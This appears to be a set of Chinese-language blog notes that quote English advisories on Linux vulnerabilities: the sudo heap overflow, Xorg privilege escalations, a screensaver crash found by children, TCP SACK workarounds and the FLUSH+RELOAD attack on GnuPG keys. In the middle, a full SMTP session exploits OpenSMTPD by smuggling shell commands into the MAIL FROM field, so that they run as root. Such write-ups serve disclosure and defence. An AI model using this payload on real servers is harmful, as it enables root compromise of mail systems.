A potential security issue exists in sudo that could be used by a local user to gain root privileges even when not listed in the sudoers file. Affected sudo versions are 1.8.2 through 1.8.31p2 and 1.9.0 through 1.9.5p1. Sudo 1.9.5p2 and above are not affected.
不限於本來就有 sudo 帳號 (但可能可執行指令受限) 就比較麻煩了，這代表從 web 之類的管道打進去以後 (可能是 www-data 身份)，就可以用這個洞取得 root 權限，另外一條路是透過資料庫打進去後 (像是 mysql 身份) 取得。
A flaw was found in xorg-x11-server before 1.20.10. A heap-buffer overflow in XkbSetDeviceInfo may lead to a privilege escalation vulnerability. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.
比較有趣的事情是，這個 bug 是小朋友在亂玩時拉出 virtual keyboard 觸發的：
A few weeks ago, my kids wanted to hack my linux desktop, so they typed and clicked everywhere, while I was standing behind them looking at them play... when the screensaver core dumped and they actually hacked their way in! wow, those little hackers...
然後他說他自己搞不出來：
I tried to recreate the crash on my own with no success, maybe because it required more than 4 little hands typing and using the mouse on the virtual keyboard.
另外一個人也說他家小朋友也弄出 segfault 了：
My kids came upon a similar cinnamon-screensaver segfault! I've emailed details of how to reproduce the problem to root@linuxmint.com.
$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@example.org>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye
Workaround #1: Block connections with a low MSS using one of the supplied filters. (The values in the filters are examples. You can apply a higher or lower limit, as appropriate for your environment.) Note that these filters may break legitimate connections which rely on a low MSS. Also, note that this mitigation is only effective if TCP probing is disabled (that is, the net.ipv4.tcp_mtu_probing sysctl is set to 0, which appears to be the default value for that sysctl).
Workaround #2: Disable SACK processing (/proc/sys/net/ipv4/tcp_sack set to 0).
A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission check for -modulepath and -logfile options when starting Xorg. X server allows unprivileged users with the ability to log in to the system via physical console to escalate their privileges and run arbitrary code under root privileges.
FLUSH+RELOAD 是希望透過 shared memory & cache 得到 side channel information，藉此突破安全機制。
論文裡面提到兩個攻擊模式，一種是在同一個 OS 裡面 (same-OS)，另外一種是在同一台機器，但是是兩個不同的 VM (cross-VM)。攻擊的前提是要拿到與 GnuPG process 相同的 shared memory。兩個環境的作法都是透過 mmap() GnuPG 的執行檔以取得 shared memory。
在 same-OS 的情況下會使用同一個 process：
To achieve sharing, the spy mmaps the victim’s executable file into the spy’s virtual address space. As the Linux loader maps executable files into the process when executing them, the spy and the victim share the memory image of the mapped file.
For the cross-VM scenario we used two different hypervisors: VMware ESXi 5.1 on the HP machine and Centos 6.5 with KVM on the Dell machine. In each hypervisor we created two virtual machines, one for the victim and the other for the spy. The virtual machines run CentOS 6.5 Linux. In this scenario, the spy mmaps a copy of the victim’s executable file. Sharing is achieved through the page de-duplication mechanisms of the hypervisors.
We demonstrate the efficacy of the FLUSH+RELOAD attack by using it to extract the private encryption keys from a victim program running GnuPG 1.4.13. We tested the attack both between two unrelated processes in a single operating system and between processes running in separate virtual machines. On average, the attack is able to recover 96.7% of the bits of the secret key by observing a single signature or decryption round.
